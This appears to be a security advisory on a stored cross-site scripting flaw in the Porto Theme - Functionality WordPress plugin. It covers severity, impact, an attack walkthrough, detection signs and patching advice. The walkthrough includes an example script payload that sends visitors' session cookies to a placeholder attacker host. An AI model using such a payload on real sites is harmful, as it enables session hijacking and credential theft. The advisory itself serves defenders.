CVE-2025-63066: 
WordPress vulnerability analysis and mitigation

CVE-2025-63066 is a Stored Cross-Site Scripting (XSS) vulnerability in the Porto Theme - Functionality WordPress plugin developed by p-themes. It affects all versions of the plugin prior to 3.7.3 (specifically through version 3.6.2 per ENISA). The vulnerability was reported by João Pedro S Alcântara (Kinorth) on September 11, 2025, published by Patchstack on October 11, 2025, and assigned a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An attacker with at least Contributor or Developer-level privileges can inject malicious scripts into fields processed by the plugin, which are then persistently stored and rendered to site visitors without proper sanitization or output encoding. Exploitation requires user interaction — a privileged user must perform an action such as submitting a form or visiting a crafted page — and the scope is changed, meaning the injected script executes in the context of other users' browsers (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript, HTML redirects, or advertisement payloads that execute in the browsers of site visitors. This can lead to session hijacking, credential theft, defacement, or redirection of users to malicious sites. The confidentiality, integrity, and availability impacts are each rated Low, with a changed scope indicating cross-user impact beyond the attacker's own session (Patchstack).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-63066. The EPSS score is approximately 0.042%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Porto Theme - Functionality plugin in a version prior to 3.7.3 using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Developer-level account on the target WordPress site.
3. Inject malicious payload: Navigate to the vulnerable input field(s) within the plugin's functionality (e.g., a post, shortcode, or settings field) and submit a crafted payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Payload persistence: The malicious script is stored in the WordPress database by the plugin without adequate sanitization.
5. Trigger execution: Wait for a privileged user (e.g., administrator) or site visitor to load the page containing the injected content, causing the script to execute in their browser.
6. Achieve objective: Harvest session cookies, redirect victims, or perform further actions on behalf of the victim user (Patchstack).

• Logs: WordPress access logs showing POST requests to plugin-related admin endpoints from low-privilege accounts, particularly with HTML or JavaScript content in request bodies.
• Database: Unexpected <script> tags, javascript: URIs, or encoded payloads (e.g., <script>) stored in WordPress post meta, options, or custom tables associated with the porto-functionality plugin.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages rendered by the Porto Theme - Functionality plugin.
• File System: No direct file system artifacts expected for stored XSS, but review plugin files for unauthorized modifications that may have been introduced post-compromise.

The vendor has released version 3.7.3 of the Porto Theme - Functionality plugin, which patches this vulnerability. Site administrators should update the plugin to version 3.7.3 or later immediately. If an immediate update is not possible, restrict Contributor and Developer role access to trusted users only, and consider using a WordPress security plugin such as Patchstack with virtual patching enabled to block exploitation attempts (Patchstack).